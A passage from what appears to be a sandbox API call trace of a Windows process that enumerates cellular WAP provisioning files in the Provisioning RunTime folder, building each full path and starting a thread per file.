Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" [0179.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0179.340] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", cAlternateFileName="325__C~1.PRO")) returned 1 [0179.340] wcscmp (_String1="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.340] wcscmp (_String1="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f025a8 [0179.340] wcscpy (in: _Dest=0x4f025a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.340] wcscat (in: _Dest=0x4f025a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.340] wcscat (in: _Dest=0x4f025a8, _Source="325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" [0179.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f025a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0179.341] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", cAlternateFileName="326__C~1.PRO")) returned 1 [0179.341] wcscmp (_String1="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.341] wcscmp (_String1="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.341] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe2308 [0179.341] wcscpy (in: _Dest=0x2fe2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.341] wcscat (in: _Dest=0x2fe2308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.341] wcscat (in: _Dest=0x2fe2308, _Source="326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" [0179.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0179.342] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0x0, cFileName="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="327__C~1.PRO")) returned 1 [0179.342] wcscmp (_String1="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.342] wcscmp (_String1="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2b18 [0179.342] wcscpy (in: _Dest=0x2fe2b18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.342] wcscat (in: _Dest=0x2fe2b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.342] wcscat (in: _Dest=0x2fe2b18, _Source="327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" [0179.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0179.343] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c1dec7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c1dec7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c1dec7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", cAlternateFileName="328__C~1.PRO")) returned 1 [0179.343] wcscmp (_String1="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.343] wcscmp (_String1="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.343] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3045158 [0179.345] wcscpy (in: _Dest=0x3045158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.345] wcscat (in: _Dest=0x3045158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.345] wcscat (in: _Dest=0x3045158, _Source="328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" [0179.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0179.346] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="329__C~1.PRO")) returned 1 [0179.346] wcscmp (_String1="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.346] wcscmp (_String1="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3043d30 [0179.346] wcscpy (in: _Dest=0x3043d30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.346] wcscat (in: _Dest=0x3043d30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.346] wcscat (in: _Dest=0x3043d30, _Source="329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" [0179.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0179.347] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="32__CO~1.PRO")) returned 1 [0179.347] wcscmp (_String1="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.347] wcscmp (_String1="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3044d50 [0179.347] wcscpy (in: _Dest=0x3044d50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.347] wcscat (in: _Dest=0x3044d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.347] wcscat (in: _Dest=0x3044d50, _Source="32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" [0179.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0179.347] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", cAlternateFileName="330__C~1.PRO")) returned 1 [0179.347] wcscmp (_String1="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.347] wcscmp (_String1="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fa3c10 [0179.348] wcscpy (in: _Dest=0x2fa3c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.348] wcscat (in: _Dest=0x2fa3c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.348] wcscat (in: _Dest=0x2fa3c10, _Source="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" [0179.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0179.348] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="331__C~1.PRO")) returned 1 [0179.348] wcscmp (_String1="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.348] wcscmp (_String1="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f026f0 [0179.349] wcscpy (in: _Dest=0x4f026f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.349] wcscat (in: _Dest=0x4f026f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.349] wcscat (in: _Dest=0x4f026f0, _Source="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" [0179.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f026f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0179.584] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="332__C~1.PRO")) returned 1 [0179.584] wcscmp (_String1="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.584] wcscmp (_String1="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f03278 [0179.584] wcscpy (in: _Dest=0x4f03278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.584] wcscat (in: _Dest=0x4f03278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.584] wcscat (in: _Dest=0x4f03278, _Source="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" [0179.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0179.598] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="333__C~1.PRO")) returned 1 [0179.601] wcscmp (_String1="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.601] wcscmp (_String1="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3044aa0 [0179.601] wcscpy (in: _Dest=0x3044aa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.601] wcscat (in: _Dest=0x3044aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.601] wcscat (in: _Dest=0x3044aa0, _Source="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" [0179.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0179.602] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="334__C~1.PRO")) returned 1 [0179.602] wcscmp (_String1="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.602] wcscmp (_String1="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2428 [0179.602] wcscpy (in: _Dest=0x2fa2428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.602] wcscat (in: _Dest=0x2fa2428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.602] 